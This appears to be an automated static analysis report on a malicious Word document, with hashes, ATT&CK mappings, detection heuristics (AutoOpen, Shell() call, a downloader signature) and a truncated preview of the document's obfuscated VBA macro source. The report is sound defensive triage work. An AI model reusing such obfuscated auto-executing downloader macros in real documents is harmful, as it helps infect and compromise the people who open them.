Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24921d08bd8aadc7…

MALICIOUS

Office (OLE)

127.8 KB Created: 2018-09-26 10:19:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 109f445a7936209ba32f3c3a8ec64380 SHA-1: 6d734f76baace796eec34337bc103b154605bf90 SHA-256: 24921d08bd8aadc7ee4ef5b1e06b351699c0c74abac238cdb9d65d89406308a2
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary code. The presence of the 'Doc.Downloader' ClamAV signature further supports its malicious nature as a downloader. The macro's obfuscated nature and truncated script prevent a more detailed analysis of its specific payload, but its intent is clearly to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6697990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6697990-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87190 bytes
SHA-256: be9848d3a67b4082a82bb199b25a84074d06bcd23055a5803c5da16188743488
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XjfLisDjucS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim LiHOou(1)
LiHOou(0) = Mid(UafDKY + ZZDrUlncEhwjZXsjZtQ + koPjaj, 924, 20) + MidB(riQRJavX + NljuDAArwjJPhVDJvHjA + pOljGdW, 581, 498) + MidB(HUjafiJw + SjJcEsNcjktMNlPVNfpYIZ + jQdXBc, 2, 441) + Mid(GBlInzb + ISoPvXzCdKADDZwJjRMq + ckkErrzu, 232, 849)
   Dim YAAwfA(1)
YAAwfA(0) = Mid(cqNBUinK + GOzNIWMGDQZfkWohNpJE + ZfzDou, 640, 259) + Left(BqKsij + ZYCLdfJzdIGzrjqNC + iMlQU, 413) + Right(DdQbfRTN + uhvEFnqiTInVPpqZM + vCZipWiq, 460) + Left(tIwNiGzt + snPIvWPbopKHlsizMrvnzcN + LjbTf, 11)
kWOmnIjtktpw (KeyString(iAYfz + bCzQiO + 9 + 14 + 44 + ivwbic + stLlNFrL) + ZQJKmOz + ZmUZd + KeyString(PQwcLYP + mmIIVLl + 10 + 16 + 51 + piJUJhiw + AYTisipb) + dSEYjani + ElNhAZ + tDsPmEqKVsi + jlLhSYdjl + qUTzAhjPhjp + wMJmzkP + iaWKjaaLVBw + LVdUUMkFd + WuzOP + wjALUzf)
   Dim RvwAPf(2)
RvwAPf(0) = MidB(NPsMWi + iUFDAzcGAtMwEcZOF + uqLkBz, 55, 398) + Mid(udqfa + USwuOmWSEokzQBbOsPwcz + oSTqfd, 621, 599)
RvwAPf(1) = Left(JTfDpRU + kiosBaLDiYpqwEzq + ESWOS, 934) + MidB(Czbhi + zZSPZRcAwKKpFlWEjMRii + AAjwIQ, 154, 928) + MidB(jbzsbRC + mDFRiKiUhhvjlbUXotC + GlCXL, 94, 904) + Mid(arJvj + zmnPRjwpbzzidOkKsvnSQ + jJtCVs, 353, 477)
   Dim TtqDT(1)
TtqDT(0) = MidB(SOYiTpd + SbhuzTSoNUbczENmzwLkc + IvujUT, 437, 237) + MidB(RwQAaMPF + pPUXirdlGrFJWjEsB + aGtmzl, 426, 690)
   Dim iXXdWt(2)
iXXdWt(0) = MidB(KECczWzv + wVoTmNMfzMBHsojSRFHM + BEIYlJn, 77, 990) + Mid(lKlJR + kdJwKAVPcPnpIBJEHZpZz + TqdwJzPZ, 545, 167)
iXXdWt(1) = Right(uHDDu + LIzkiAANJvELoOhQTPYQ + DjOwEVuO, 163) + MidB(TGzzImjP + RQfZYdrZnrTqaQinApDr + XFTKcs, 6, 972) + Left(PiWfWQX + vAPYcWBcjPOMBuKj + rVCpFCtw, 339) + Mid(UhfNHj + GrYRZWqiibGqmfNjXU + Kwzur, 489, 987)
   Dim tjbtbW(1)
tjbtbW(0) = Mid(bsaRGLpk + cKMjvoNiviFKMMZE + NDAaMpJz, 655, 957) + Mid(SHmRNnBE + FNVlYHuzjXIPGMjfNwzSJ + YvzlDNjV, 959, 743) + Left(RBFiijZ + fEGERZAvuMvdjddJbt + BISiIN, 284) + Mid(fCsqshl + ZprsfnRiECPhiFvzus + IbPbrIIv, 840, 411)
   Dim PioWp(2)
PioWp(0) = MidB(kFzlhLH + YIDKTWczmvkFHnHUfK + hDiKo, 621, 27) + Right(DaTJUfn + pWCRzwSjuDmTEWGlMoT + JjinVkHT, 547) + Left(RBQEDM + GuzkqEwZCfNWHSAKzv + KoOSDFC, 653) + Mid(SstKwo + liRwRznIlDBYEUvbQBsWUf + iUzWL, 123, 629)
PioWp(1) = Mid(SNXPY + QizuOXiVNoPsLWwPTLP + rvQsaXMr, 732, 920) + MidB(jAoGlbWz + QsVwBSvlBmEHqvcBw + GHkVHIik, 870, 883)
   Dim TiJdf(2)
TiJdf(0) = Mid(iJjVz + LnmmtovjRPLazatmiDw + TiqDkY, 121, 346) + MidB(zVJFbH + wsOTlDAYbLarUSKzo + KzpEA, 103, 998)
TiJdf(1) = MidB(fBfwDD + mwjziGwEdomRJoNQijDzAS + YlQnRSM, 204, 793) + MidB(fqsAS + SAVNSWmVRjhVaYTRq + EzzlcB, 502, 736)
End Sub


Attribute VB_Name = "XpzIKKTGQiwv"
Function dSEYjani()
QGhAKfV = "d \/ //   //" + "// / \  / /V:" + "O/C" + """" + "set ]}*~=027a 0" + "72a 07a2 0a72 207"
ZiKwMnYW = "a 2a70 0a72 270a" + " 72a0 7a02 a" + "027 a207 02"
Dim jqzRY(1)
jqzRY(0) = MidB(tQiQXv + COZOzUwvOSWwXoiiun + CtiHaoHO, 488, 205) + Left(NQNZEMuC + GSWRGpNrPBWWwuHnzt + YlGaJd, 653)
   Dim iREfn(2)
iREfn(0) = Right(YwBqjd + AmktXivcbWUGncpsK + YSjAZKiX, 742) + Right(YZbroTj + cEQTOiONtlJYLOWEJRE + liQfw, 777) + Right(AaNUB + rSPJtZYNMYbwcAEFijSMS + ZJwwuR, 3) + MidB(qBuvm + CSXNZjzpEviFZkVzOBPRH + PKCdT, 374, 409)
iREfn(1) = Mid(tvMwqK + pVVinEKamzhmmMToTM + JHJMCYX, 172, 83) + MidB(clFhb + StjXQdsilWVJwEWiYCm + tIfYiji, 851, 298) + Left(qvmqfTXw + iPKXttKBvfqDdIwsGiGnCOz + wEfoRrL, 870) + Right(lnTvO + zsIihzFiIcbHTiwwQrZM + dSOFmj, 847)
   Dim ownPlI(2)
ownPlI(0) = MidB(ZMTGzqu + ISnODpuwjAkJXCiZh + lZHZh, 940, 344) + Mid(MhAVPFjl + UmchdubKuIULGwjdiscX + ViOtSTzp, 690, 634)
ownPlI(1) = Left(rifFm + msVuYjqHFErOquNRRaLi + XXWczZ, 126) + MidB(zvAkqJbq + fpJSwWQVRFaNtUAAJfzzY + HfWHpkWu, 931, 703) + MidB(aFhhl + YhGPpzHfEhrlbzPNbVESw + HtvcwMV, 761, 356) + MidB(PjKiv + OtcdcqwLAPUPKjNuDFVVwI + VoDtZO, 539, 649)
   Dim uZlXQ(1)
uZlXQ(0) = MidB(YtbYSw
... (truncated)

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